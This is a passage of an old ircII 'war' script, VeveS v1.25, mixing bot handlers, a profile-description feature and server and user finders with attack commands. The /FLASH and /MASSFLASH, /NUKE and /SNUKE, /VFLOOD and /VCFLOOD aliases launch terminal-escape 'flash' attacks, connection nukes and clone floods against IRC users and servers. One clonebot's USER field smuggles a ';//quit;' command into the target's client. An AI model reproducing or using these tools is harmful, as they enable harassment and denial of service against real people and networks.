  655.        if (([$strip(: $strip( $6))]!=[ACTION])&&([$VEVESPY]==[ON])&&(match(CTCP $VEVELEVEL))) {/vbecho CTCP VERSION from $nickonly($mid(1 $index($right(1 $3)) $3)) to $5\.}
  656.        if ([$VEVEREPLY]==[ON]) {//^dcc raw $0 $1 NOTICE $nickonly($mid(1 $index($right(1 $3)) $3)) :VERSION $VEVEVERSION\}
  657.   }
  658.   EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D % PRIVMSG % :**:PING**" {
  659.      if (([$strip(: $strip( $6))]!=[ACTION])&&([$VEVESPY]==[ON])&&(match(CTCP $VEVELEVEL))) {/vbecho $nickonly($mid(1 $index($right(1 $3)) $3)) has pinged me.}
  660.      if ([$VEVEREPLY]==[ON]) {//^dcc raw $0 $1 NOTICE $nickonly($mid(1 $index($right(1 $3)) $3)) :PING $time()\}
  661.   }
  662.   EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D *PIN*" {//^dcc raw $0 $1 PONG :$1}
  663.   EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D % 433 % % :*" {
  664.       EVAL ^assign VEVENICK $randcrap(1)$VEVENICK
  665.        vbecho Nickname $6 is already in use. Trying nick $VEVENICK\.
  666.       ^assign VEVENICK V$VEVENICK
  667.       EVAL //^dcc raw $VEVESOCKET $VEVESERVER NICK $VEVENICK
  668.   }
  669.   EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER C*" {
  670.      undoveves
  671.     ^assign -VeveBot
  672.      vbecho I have been disconnected by server $1\.
  673.      if ([$VEVERECONNECT]==[ON]) {
  674.          vbecho Reconnecting in $reconnect_time seconds...
  675.          EVAL ^timer $reconnect_time makeVEVE
  676.      }
  677.      {/echo $vs Reconnecting is OFF. Type /VEVE CREATE to create a new bot.}
  678.   }
  679.   EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D % 473 % % :*" {/vbecho Unable to join channel $6 \(Invite Only\)}
  680.   EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D % 471 % % :*" {/vbecho Unable to join channel $6 \(Full\)}
  681.   EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D % 474 % % :*" {/vbecho Unable to join channel $6 \(Banned\)}
  682.   EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D % 401 % % :*" {/vbecho Server: $strip( $strip(: $6\, $7-))}
  683.   EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D % 406 % % :*" {/vbecho Server: $strip( $strip(: $6\, $7-))}
  684.   EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D % 404 % % :*" {/vbecho Server: $strip( $strip(: \($6\) $7-))}
  685.   EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D % 482 % % :*" {/vbecho Server: $strip( $strip(: \($6\) $7-))}
  686.   EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D % 353 *" {
  687.      if (([$VEVESPY]==[ON])&&(match(MISC $VEVELEVEL))) {/vbecho Users on $7\: $strip( $strip(: $8-))}
  688.   }
  689.   EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D ERROR :*" {/vbecho Server: $strip(: $4) $5-}
  690.   EVAL ^on ^dcc_raw "$VEVESOCKET $VEVESERVER D 332 % % :*" {
  691.      if (([$VEVESPY]==[ON])&&(match(MISC $VEVELEVEL))) {/vbecho TOPIC for channel $6\: $strip(: $7-)}
  692.   }
  693. }
  694.  
  695. alias undoveves {
  696.   EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D % *"
  697.   EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D % JOIN *"
  698.   EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D % MODE #*"
  699.   EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D % KICK % %*"
  700.   EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D % INVITE % :*"
  701.   EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D % PRIVMSG #% :*"
  702.   EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D % PRIVMSG % :**:VER**"
  703.   EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D % PRIVMSG % :**:PING**"
  704.   EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D % PRIVMSG % :*"
  705.   EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D % PRIVMSG % :*****"
  706.   EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D % PRIVMSG % :***"
  707.   EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D *PIN*"
  708.   EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D % 433 % % :*"
  709.   EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D % 473 % % :*"
  710.   EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D % 471 % % :*"
  711.   EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D % 474 % % :*"
  712.   EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D % 401 % % :*"
  713.   EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D % 406 % % :*"
  714.   EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D % 404 % % :*"
  715.   EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D % 482 % % :*"
  716.   EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D % 353 *"
  717.   EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D 332 % % :*"
  718.   EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D ERROR :*"
  719.   EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER D % PART *"
  720.   EVAL ^on dcc_raw - "$VEVESOCKET $VEVESERVER C*"
  721. }
  722.  
  723. ### Ban functions from PhoEniX 2.25 by Vassago, Used in the VeveBots
  724.  
  725. alias nban @function_return= [$2!]##fixname($0 $2)##[@]##fixdomain($1 $2)
  726.  
  727. alias fixhost {
  728. if (index(. $0)==rindex(. $0)) {@ function_return= [$1] ## [$0]}
  729. {@ function_return= [$0]}
  730. }
  731.  
  732. alias fixname {
  733. if (rmatch($0 ?? ?)) {@ function_return= [$1]}
  734. {@ function_return= [$1] ## mid(1 99 $0)}
  735. }
  736.  
  737. alias fixdomain {
  738. if (index(. $0)!=rindex(. $0)) {
  739. if (is_ip($0)) {@ function_return= left($rindex(. $0) $0) ## [.$1]}
  740. {@ function_return= [$1$mid($index(. $0) 99 $0)]}
  741. } {@ function_return= [$1$0]}
  742. }
  743.  
  744. alias is_ip {
  745. if ((right(1 $0) >= [0]) && (right(1 $0) <= [9]))
  746. {@ function_return= [1]}
  747. {@ function_return= [0]}
  748. }
  749.  
  750. ### CTCP LOOK (by Vassago and Acidflux)
  751.  
  752. assign LOOKVIEW ON
  753.  
  754. alias LOOK {
  755.   if ([$0]) {/CTCP $0 VEVES lookdesc}
  756.   {/CTCP $C VEVES lookdesc}
  757. }
  758.  
  759. alias LOOKVIEW {
  760.    if ([$LOOKVIEW]==[ON]) {^assign LOOKVIEW OFF}
  761.    {^assign LOOKVIEW ON}
  762.     echo $vs CTCP .ircdesc LOOKing is now $LOOKVIEW\.
  763. }
  764.  
  765. on ^ctcp "% % VEVES lookdesc" {
  766.    if ([$DESCHOST]==[]) {
  767.    ^assign DESCHOST $hostonly($safe($Userhost()))
  768.      if ([$DESCHOST]!=[$LASTDESC]) {
  769.         if ([$LOOKVIEW]==[ON]) {
  770.           ^on ^exec "lookdesc *" #
  771.           ^on ^exec_error "lookdesc *" #
  772.           ^exec -name lookdesc notice $0 cat $ircdesc
  773.            wait %lookdesc
  774.           ^on exec - "lookdesc *"
  775.           ^on exec_error - "lookdesc *"
  776.            echo $vs $0 has glimpsed at you via LOOK.
  777.         }
  778.         {/quote NOTICE $0 :My LOOKing function is currently disabled.}
  779.       }
  780.    ^assign LASTDESC $DESCHOST
  781.    ^timer -delete 892
  782.    ^timer -refnum 892 60 ^assign -LASTDESC
  783.    ^assign -DESCHOST
  784.    }
  785.    {/quote NOTICE $0 :VeveS is busy right now, try again later.}
  786. }
  787.  
  788. alias LOOKHELP {
  789.    echo $vs +---+ VeveS LOOK Help  +----------------------------------------+
  790.    echo $vs   For someone to get a description of you, just edit a 
  791.    echo $vs   file in your home directory called ".ircdesc" and enter 
  792.    echo $vs   the description you'd like people to see.
  793.    echo $vs   Example:
  794.    echo $vs     Joe Preppy is a white male wearing a NoPhear T-Shirt and
  795.    echo $vs     pre-torn jeans. 
  796.    echo $vs     Hair - Color/Brown : Length/Short : Style/Curly
  797.    echo $vs     Eyes - Green
  798.    echo $vs     Mailing Address: vanderhoff@anon.penet.fi
  799.    echo $vs   This is a brief example but I'm sure you get the idea as to
  800.    echo $vs   the kind of stuff you can put there.
  801.    echo $vs   You may also create a .ircdesc file online by typing /LOOKMAKE.
  802.    echo $vs   To get a description of someone else, type /look JoePreppy,
  803.    echo $vs   and you'll recieve a description via notice if they are
  804.    echo $vs   running VeveS. Try to keep your description to less than 7
  805.    echo $vs   lines to avoid activating someone's flood protection.
  806.    echo $vs +---------------------------------------------------------------+
  807. }
  808.  
  809. alias LOOKMAKE {
  810.    echo $vs This will delete any previous .ircdesc file you have in your
  811.    echo $vs home directory, if there is one.
  812.   ^assign yes_prompt $"Are you sure you want to continue (y/n)? "
  813.    if (([$yes_prompt]==[y])||([$yes_prompt]==[yes])) {
  814.      ^on ^exec_error "ircdesc *" #
  815.      ^exec -name ircdesc rm $ircdesc
  816.       wait %ircdesc
  817.      ^on exec_error - "ircdesc *"
  818.       echo $vs You have 7 lines on which to enter a description.
  819.       sleep 1
  820.      EVAL ^exec echo "### VeveS v1.25 by Vassago - LOOK Description for $N ###" >> $ircdesc
  821.      @ descr_count = 0
  822.      while (descr_count<7) { 
  823.         @ descr_count = descr_count + 1
  824.         ^assign -enter_descr
  825.         ^assign enter_descr $"L$descr_count\: "
  826.         if ([$enter_descr]!=[]) {
  827.           ^assign descr_text $strip(;![](){}"'` $enter_descr)
  828.           ^EVAL exec echo "$descr_text " >> $ircdesc
  829.         }
  830.      }
  831.      ^exec chmod 700 $ircdesc
  832.       echo $vs Your new .ircdesc file has been created.
  833.      ^assign -enter_descr
  834.      ^assign -descr_count
  835.      ^assign -descr_text
  836.    }
  837.    {/echo $vs Aborting LOOKMAKE, .ircdesc file is unchanged.}
  838.    ^assign -yes_prompt
  839. }
  840.  
  841. ### FLASH (by Vassago)
  842.  
  843. alias flash {
  844.    if ([$0]) {
  845.      Userhost $0 -CMD if ([$3]) {
  846.         if ([$4]!=[<UNKNOWN>]) {
  847.           ^exec $flash_pgm $strip(;#~ $3)@$4
  848.            echo $ex Flashed $0 \($strip(;#~ $3)@$4\)
  849.         }
  850.         {/echo $ex I can't find $0 on IRC.}
  851.      }
  852.    }
  853.    {/echo $ex Usage: /FLASH <nick>.}
  854. }
  855.  
  856. alias listmassflash {
  857.    ^exec -name flash $flash_pgm $1
  858.     wait %flash
  859.     echo $ex I have flashed $0 \($1\)
  860.     if ([$2]) {^listmassflash $2-}
  861. }
  862.  
  863. alias massflash {
  864.   ^on ^who "*" {
  865.      if ([$1]!=[$N]) {^assign FLASHLOSERS $1 $strip(;#~ $3)@$4 ${FLASHLOSERS}}
  866.   }
  867.   ^who $C
  868.    wait
  869.   ^on who - "*"
  870.   ^listmassflash $FLASHLOSERS
  871.   ^assign -FLASHLOSERS
  872. }
  873.  
  874. ### NUKE and SERVER NUKE (by Vassago)
  875.  
  876. alias nuke {
  877.   if ([$0]) {
  878.      ^on ^311 "*" {^assign ndomain $3}
  879.      ^on ^312 "*" {^assign nserver $1}
  880.      ^on ^319 "*" #
  881.      ^whois $0
  882.       wait -cmd #
  883.       wait -cmd _nuke $0
  884.   }
  885.   {/echo $vs Usage: /NUKE <nick>.}
  886. }
  887.  
  888. alias _nuke {
  889.      ^exec $nuke_pgm $ndomain $nserver &
  890.      ^exec $nuke_pgm $nserver $ndomain &
  891.      /echo $vs Nuking $0 at $ndomain on server $nserver\.
  892.      ^on 311 - "*"
  893.      ^on 312 - "*"
  894.      ^on 319 - "*"
  895.      ^assign -ndomain
  896.      ^assign -nserver
  897. }
  898.  
  899. alias snuke {
  900.   if ([$1]) {
  901.      ^exec $nuke_pgm $0 $1 &
  902.      ^exec $nuke_pgm $1 $0 &
  903.   }
  904.   {/echo $vs Usage: /SNUKE <server to nuke> <uplink server>.}
  905. }
  906.  
  907. ### SPLIT SERVER FINDER (by TG, Mods by Vassago)
  908.  
  909. assign -serverlist1
  910. assign -serverlist2
  911. assign -serverlist3
  912. assign -servers
  913. @ servercount = 0
  914.  
  915. alias getservers {
  916.    echo $vs Generating MASTER server list. \(This may take 5 or more minutes\).
  917.    ^exec rm $HOME/server.list
  918.    ^assign serverlist1 N
  919.    ^assign serverlist2 N
  920.    @ servercount = 0
  921.    ^assign -servers
  922.    ^on ^raw_irc "% 364 *" {
  923.       ^EVAL ^exec echo "loadserversub $3" >> $HOME/server.list
  924.        @ servercount = servercount + 1
  925.        ^assign servers[${servercount-1}] $3 No
  926.        if ([$servercount] < [100]) {^assign serverlist1 $serverlist1 $3}
  927.        {^assign serverlist2 $serverlist2 $3}
  928.    }
  929.    ^on ^raw_irc "% 365 *" {/echo $vs Server list generated. $servercount servers found.}
  930.    //LINKS
  931.     wait
  932.     ^on raw_irc - "% 364 *"
  933.     ^on raw_irc - "% 365 *"
  934. }
  935.  
  936. alias loadserversub {
  937.    @ servercount = servercount + 1
  938.    if ([$servercount] < [100]) {^assign serverlist1 $serverlist1 $0}
  939.    {^assign serverlist2 $serverlist2 $0}
  940.    ^assign servers[${servercount-1}] $0 No
  941. }
  942.  
  943. alias loadservers {
  944.     echo $vs Loading server list.
  945.     @ servercount = 0
  946.     ^assign serverlist1 N
  947.     ^assign serverlist2 N
  948.     ^assign -servers
  949.      //load $HOME/server.list
  950.      echo $vs $servercount servers loaded.
  951. }
  952.  
  953. alias servers {/echo $vs There are $servercount servers in memory.}
  954.  
  955. alias setserver {
  956.   if ([$match($0 $serverlist1)] != [0]) {^assign servers[${match($0 $serverlist1) -2}] $0 $1}
  957.   {
  958.      if ([$match($0 $serverlist2)] != [0]) {^assign servers[${match($0 $serverlist2) +97}] $0 $1}
  959.      {
  960.         @ servercount = servercount + 1
  961.         ^assign servers[${servercount-1}] $0 New
  962.         if ([$servercount] < [100]) {^assign serverlist1 $serverlist1 $0}
  963.         {^assign serverlist2 $serverlist2 $0}
  964.         ^eval ^exec echo "loadserversub $0" >> $HOME/server.list
  965.      }
  966.   }
  967.   ^assign -ssx
  968. }
  969.  
  970. alias findsplit {
  971.    if ([$servercount] < [1]) {/echo $vs You need to either create a new server list, or load an old one.}
  972.    {
  973.       /echo $vs Generating list of split servers, one moment please...
  974.       @ splitsfound = 0
  975.       ^on ^raw_irc "% 364 *" {/setserver $3 Yes}
  976.       ^on ^raw_irc "% 365 *" {
  977.          ^on raw_irc - "% 364 *"
  978.          ^on raw_irc - "% 365 *"
  979.       }
  980.       @ sx = 0
  981.       while ([$sx] < [$servercount]) {
  982.           @ sx = sx + 1
  983.           /setserver $word(0 $servers[${sx -1}]) No
  984.       }
  985.       wait 
  986.      //links
  987.       wait
  988.       @ sx = 0
  989.       @ splitcount = 0
  990.       while ([$sx] < [$servercount]) {
  991.          @ sx = sx + 1
  992.          ^assign workwith $word(1 $servers[${sx-1}])
  993.       if ([$workwith]==[NO]) {
  994.          /echo $vs Split: $word(0 $servers[${sx-1}])
  995.          @ splitcount = splitcount + 1 
  996.       }
  997.       {
  998.           if ([$workwith]==[NEW]) {/echo $vs New: $word(0 $servers[${sx-1}])}
  999.       }
  1000.    }
  1001.    wait
  1002.    if ([$splitcount] > 0) {/echo $vs $splitcount split servers found.}
  1003.    {/echo $vs No split servers found.}
  1004.    ^assign -sx
  1005.   }
  1006. }
  1007.  
  1008. alias FINDHELP {
  1009.      echo $vs +---+ VeveS Split Server Finder Help +----------------------+
  1010.      echo $vs   Use /GETSERVERS to get a list of currently connected
  1011.      echo $vs   servers, this will create a file called server.list
  1012.      echo $vs   in your present working directory. I recommend you
  1013.      echo $vs   do this at a time when you know that the network is
  1014.      echo $vs   fairly stable otherwise, the script misses splits that
  1015.      echo $vs   are around, because it doesn't know the server\(s\) exist.
  1016.      echo $vs   To avoid spending time generating new server lists,
  1017.      echo $vs   user /LOADSERVERS to load your previously made server
  1018.      echo $vs   list file.  The script will automatically add new
  1019.      echo $vs   servers it finds that are not in its list whenever you
  1020.      echo $vs   user /FINDSPLIT.
  1021.      echo $vs   Use /FINDSPLIT to list all splits \(based on your
  1022.      echo $vs   server list\), add new servers to your list, etc.
  1023.      echo $vs   /SERVERS will tell you the # of split servers in memory.
  1024.      echo $vs   Note: This is kind of a slow way to find splits, but if
  1025.      echo $vs   you can't use link looker, it works nicely. It's a good
  1026.      echo $vs   idea to run /GETSERVERS once, then keep the file it
  1027.      echo $vs   puts in your HOME directory, since it takes awhile to
  1028.      echo $vs   generate the master server list \(a minumum of 5 minutes\).
  1029.      echo $vs +-----------------------------------------------------------+
  1030. }
  1031.  
  1032. ### UNFLASH
  1033.  
  1034. alias unflash {
  1035.   ^set status_clock c
  1036.   ^set status_clock \;\24r
  1037.   ^set status_clock m
  1038.   ^set status_clock ?5l
  1039.   ^set status_clock  -+VeveS+-
  1040.   ^timer 10 ^set status_clock  %T
  1041.    echo $vs Flash Fixer complete. Refreshing screen with ^L...
  1042.    sleep 2
  1043.    type ^L
  1044. }
  1045.  
  1046. ### VeveS Flood I
  1047.  
  1048. assign VFS VeveS VeveS VeveS VeveS VeveS VeveS VeveS VeveS VeveS VeveS VeveS VeveS VeveS VeveS VeveS VeveS VeveS VeveS
  1049. assign VSU ^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^
  1050.  
  1051. alias vflood {
  1052.   if ([$0]) {
  1053.     echo $vs Beginning VeveS Flood on $0\...
  1054.     EVAL quote PRIVMSG $0 :$VFS
  1055.     EVAL quote PRIVMSG $0 :$VSU
  1056.     sleep 2
  1057.     EVAL quote PRIVMSG $0 :$VSU
  1058.     EVAL quote PRIVMSG $0 :$VFS 
  1059.     sleep 2
  1060.     EVAL quote NOTICE $0 :$VSU
  1061.     EVAL quote NOTICE $0 :$VFS
  1062.     echo $vs VeveS Flood on $0 complete.
  1063.   }
  1064.   {/echo $vs Usage: /VFLOOD <nick/channel>}
  1065. }
  1066.  
  1067. ### VeveS Flood II (Double Clone Flood)
  1068.  
  1069. alias vcflood {
  1070.   if (rmatch($0 *.*)) {
  1071.     if ([$1]) {
  1072.       echo $vs Veves Clone Flood activating. Please be patient while
  1073.       echo $vs the DCC RAW clonebots are being generated for $0\...
  1074.       ^set display OFF
  1075.       EVAL ^assign VCSOCKET $connect($0 6667)
  1076.       EVAL //^dcc raw $VCSOCKET $0 NICK V$randcrap(7)
  1077.       EVAL //^dcc raw $VCSOCKET $0 USER $randcrap(8) # # :$randcrap($rand(15)) $randcrap($rand(15))
  1078.       sleep 1
  1079.       EVAL ^assign VCSOCKET2 $connect($0 6667)
  1080.       EVAL //^dcc raw $VCSOCKET2 $0 NICK V$randcrap(7)
  1081.       EVAL //^dcc raw $VCSOCKET2 $0 USER \;//quit\; # # :$randcrap($rand(15)) $randcrap($rand(15))
  1082.       ^set display ON
  1083.       echo $vs Clonebots created. Beginning flood...
  1084.       ^set display OFF
  1085.       sleep 3
  1086.       echo $vs Flooding with Clonebot #1...
  1087.       EVAL //^dcc raw $VCSOCKET $0 NOTICE $0 :$VFS
  1088.       EVAL //^dcc raw $VCSOCKET $0 PRIVMSG $0 :$VFS\
  1089.       EVAL //^dcc raw $VCSOCKET $0 PRIVMSG $0 :$VSU
  1090.       sleep 10
  1091.       echo $vs Flooding with Clonebot #2...
  1092.       EVAL //^dcc raw $VCSOCKET2 $0 PRIVMSG $0 :$VSU\
  1093.       EVAL //^dcc raw $VCSOCKET2 $0 PRIVMSG $0 :$VFS
  1094.       EVAL //^dcc raw $VCSOCKET2 $0 NOTICE $0 :$VSU
  1095.       sleep 5
  1096.       ^set display ON
  1097.       echo $vs Flooding complete. Clones will disconnect shortly.
  1098.       EVAL ^timer 90 //^dcc close raw $VCSOCKET
  1099.       EVAL ^timer 120 //^dcc close raw $VCSOCKET2
  1100.     }
  1101.     {/echo $vs Usage: /VCFLOOD <server for clonebots> <nick to flood>}
  1102.   }
  1103.   {/echo $vs Usage: /VCFLOOD <server for clonebots> <nick to flood>}
  1104. }
  1105.  
  1106. # RANDCRAP
  1107.  
  1108. assign RCRAPCRAP abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789a
  1109.  
  1110. alias randcrap {
  1111.   @ RCOUNTER = 1
  1112.   while (RCOUNTER < [$0]) {
  1113.     @ RCOUNTER = RCOUNTER + 1
  1114.     EVAL ^assign RCRAP $MID($rand(62) 1 $RCRAPCRAP)${RCRAP}
  1115.     }
  1116.   EVAL ^assign RCRAP $MID($rand(25) 1 $RCRAPCRAP)${RCRAP}
  1117.   ^assign FUNCTION_RETURN $RCRAP
  1118.   ^assign -RCRAP
  1119. }
  1120.  
  1121. ### FINDPORTS
  1122.  
  1123. alias findports {
  1124.    ^on ^211 - "*"
  1125.    ^assign -server_inquired
  1126.    ^assign -found_ports
  1127.    ^assign -server_inquired
  1128.    ^on #^364 -567 "*" assign server_inquired $$1
  1129.    ^set display off
  1130.    //links $0
  1131.    wait 
  1132.    ^on #^364 -567 - "*"
  1133.    /echo $ex Tracking ports for server $server_inquired, please wait...
  1134.    /portf $server_inquired
  1135. }
  1136.  
  1137. alias portf {
  1138.    ^assign -connecting_port
  1139.    ^assign -port_output
  1140.    ^assign -serverp
  1141.    ^assign -serverp_size
  1142.    ^assign serverp $0
  1143.    ^assign serverp_size $@serverp
  1144.    ^on #^211 -567 "*" if (match($serverp $left($serverp_size $1))) {
  1145.        ^assign connecting_port $1
  1146.         @port_output = port_output ## [$lastbit($connecting_port) ]
  1147.    }
  1148.    //stats L $serverp
  1149.    wait
  1150.    wait
  1151.    ^timer 5 /fportclean
  1152.    @ function_return = [$port_output]
  1153. }
  1154.  
  1155. alias fportclean {
  1156.    ^on #^211 -567 - "*"
  1157.     echo $ex The port(s) for server $server_inquired are:
  1158.     echo $ex $port_output
  1159.     echo $ex Port tracking complete.
  1160.    ^set display ON
  1161. }
  1162.  
  1163. alias lastbit {
  1164.    ^assign -lastbits
  1165.    ^assign -lastbits2
  1166.    @ lastbits = rindex(. $0)
  1167.    @ lastbits = lastbits + 1
  1168.    @ lastbits2 = mid($lastbits $lastbits $0)
  1169.    @ function_return = strip(] $lastbits2)
  1170. }
  1171.  
  1172. ### FIND IRC USER (by Vassago)
  1173.  
  1174. ^assign -STOPPED
  1175.  
  1176. alias FINDCANCEL {
  1177.     ^assign STOPPED ON
  1178.     ^timer -delete 223
  1179.     ^assign TIMEGOING ON
  1180.      echo $vs Further search has been canceled, one moment...
  1181.     ^on ^211 "*" #
  1182.     ^on 364 - "*"
  1183.     ^assign -SERVERLIST
  1184.     ^assign -CURRENTSERVER
  1185. }
  1186.  
  1187. alias DONEXT {
  1188.    @ scount = scount + 1
  1189.    NEXTSERVER
  1190. }
  1191.  
  1192. alias CHECKSEARCH {
  1193.    if ([$timegoing]!=[ON]) {
  1194.          ^assign timegoing ON
  1195.          ^timer -delete 223
  1196.          ^timer -refnum 223 33 checkserver
  1197.    }
  1198. }
  1199.  
  1200. alias FIND {
  1201.   if ([$1]) {
  1202.           echo $vs Looking for mask $0 on server $1\...
  1203.          ^assign hostmask $0
  1204.          ^on ^211 "*" {
  1205.               if (rmatch($1 $hostmask)) {/echo $vs Match! Found $left($index([ $1) $1) on $0.}
  1206.          }
  1207.          //stats l $1-
  1208.   }
  1209.   {/echo $vs Usage: /FIND <mask> <server>.}
  1210. }
  1211.  
  1212. alias FINDGLOBAL {
  1213.     if ([$0]) {
  1214.             echo $vs Looking for host mask $0 throughout IRC, please wait...
  1215.            ^assign hostmask $0
  1216.            ^assign -SERVERLIST
  1217.            ^on ^364 "*" {
  1218.                   if (rmatch($1 ?.*)) {/echo $vs Invalid server name $1. Masks will not be searched.}
  1219.                   {^assign SERVERLIST $1 ${SERVERLIST}}
  1220.            }
  1221.            @ scount = 0
  1222.            /echo $vs Gathering LINKS information...
  1223.            //links
  1224.            wait -cmd NEXTSERVER
  1225.     }
  1226.     {/echo $vs Usage: /FINDGLOBAL <mask>.}
  1227. }
  1228.  
  1229. alias NEXTSERVER {
  1230.         if ([$STOPPED]!=[ON]) {
  1231.          ^assign -NEXTWAIT
  1232.          @ WAITING = 0
  1233.          ^assign currentserver $word($scount $SERVERLIST)
  1234.           //stats l $currentserver
  1235.           checksearch
  1236.           echo $vs Searching for $hostmask\ on server $currentserver\...
  1237.           ^on ^211 "*" {
  1238.                  if (([$NEXTWAIT]!=[ON])&&([$0]==[$currentserver])) {
  1239.                         ^assign NEXTWAIT ON
  1240.                          @ scount = scount + 1
  1241.                         ^timer 10 /NEXTSERVER
  1242.                  }
  1243.                  if (rmatch($1 $hostmask)) {/echo $vs Match! Found $left($index([ $1) $1) on $0.}
  1244.           }
  1245.     }
  1246. }
  1247.  
  1248. alias CHECKSERVER {
  1249.     ^assign -timegoing
  1250.     if ([$NEXTWAIT]!=[ON]) {
  1251.           echo $vs No response received from $currentserver\, continuing...
  1252.           DONEXT
  1253.     }
  1254. }
  1255.  
  1256. ### HELP & CREDITS
  1257.  
  1258. alias vhelp { 
  1259.    echo $vs +---+ VeveS Version 1.25 Commands Listing +----------------------+
  1260.    echo $vs   /FLASH <nick1, nick2, nick3 etc...> - Flashes <nick\(s\)>.
  1261.    echo $vs   /MASSFLASH - flashes everyone on your current channel.
  1262.    echo $vs      Note: You must have flash.c compiled and in your current
  1263.    echo $vs      directory to use.
  1264.    echo $vs   /UNFLASH - Attempts to fix your screen if you are flashed.
  1265.    echo $vs   /FAKEINVITE <nick> <channel> - Fakeinvites <nick> to <channel>
  1266.    echo $vs   /NUKE <nickname> - You must have nuke.c compiled and
  1267.    echo $vs      in your current directory to use.
  1268.    echo $vs   /SNUKE <server to nuke> <uplink server> - (See above.)
  1269.    echo $vs   /FINDPORTS <server> - Tracks available ports on <server>.
  1270.    echo $vs   /LOOK <nick/channel> - To glimpse at someone/everyone.
  1271.    echo $vs      This only works if they are running VeveS and have
  1272.    echo $vs      the .ircdesc file in their HOME directory.
  1273.    echo $vs   /LOOKVIEW - Toggles CTCP .ircdesc LOOKing ON/OFF.
  1274.    echo $vs   /LOOKHELP - For extended help on LOOK.
  1275.    echo $vs   /LOOKMAKE - Lets you make/edit your .ircdesc file
  1276.    echo $vs      while you are online! Type /LOOKMAKE at the prompt.
  1277.    echo $vs   /VFLOOD <nick/channel> - Sends an annoying flood.
  1278.    echo $vs   /VCFLOOD <clonebot server> <nick to flood> - does a
  1279.    echo $vs       2 clonebot flood with 2 different types of floods.
  1280.    pause2
  1281.    echo $vs   /VEVE HELP - For help on VeVeBots - VeveBots are a
  1282.    echo $vs       type of sentry for use in maintaining ops, etc.
  1283.    echo $vs   /FINDHELP - Gives more help on the following 5 commands:
  1284.    echo $vs   /FINDSPLIT - Generates a list of split servers.
  1285.    echo $vs   /GETSERVERS - Generates the MASTER Serverlist - Please note
  1286.    echo $vs       that this command takes a minimum of 5 minutes to finish!
  1287.    echo $vs   /LOADSERVERS - Loads a serverlist from file into memory.
  1288.    echo $vs   /SERVERS - Tells how many servers are in memory.
  1289.    echo $vs   /FIND <mask> <server> - Attempts to find a user on a server.
  1290.    echo $vs   /FINDGLOBAL <mask> - Attempts to find a user over ALL of IRC.
  1291.    echo $vs     \(Remember to enclose the <mask> in asteriks. \(ex: *mask*\)
  1292.    echo $vs   /FINDNEXT - continues searching the next server, if it does
  1293.    echo $vs     not look like the current server is going to answer. After 30
  1294.    echo $vs     seconds, if no answer, the script will continue on its own.
  1295.    echo $vs     \(This command only applies to global searches\).
  1296.    echo $vs   /FINDCANCEL - Stops a global search.
  1297.    echo $vs +----------------------------------------------------------------+
  1298. }
  1299.  
  1300. EVAL if (versionmesg) {^assign versionmesg ${versionmesg}+$veves_version}
  1301. EVAL if (versionmsg) {^assign versionmsg ${versionmsg}+$veves_version}
  1302. EVAL if (phoenix.ver) {^assign versionmsg ${versionmsg}+$veves_version}
  1303. EVAL if (running) {^assign running ${running}+$veves_version}
  1304. EVAL if (version) {^assign version ${version}+$veves_version}
  1305. EVAL if (lvn) {^assign lvn ${lvn}+$veves_version}
  1306. EVAL your_host
  1307.  
  1308. EVAL echo $vs Vassago's VeveS Script is now loaded.
  1309. EVAL echo $vs Type /VHELP for VeveS command list.
  1310.  
  1311.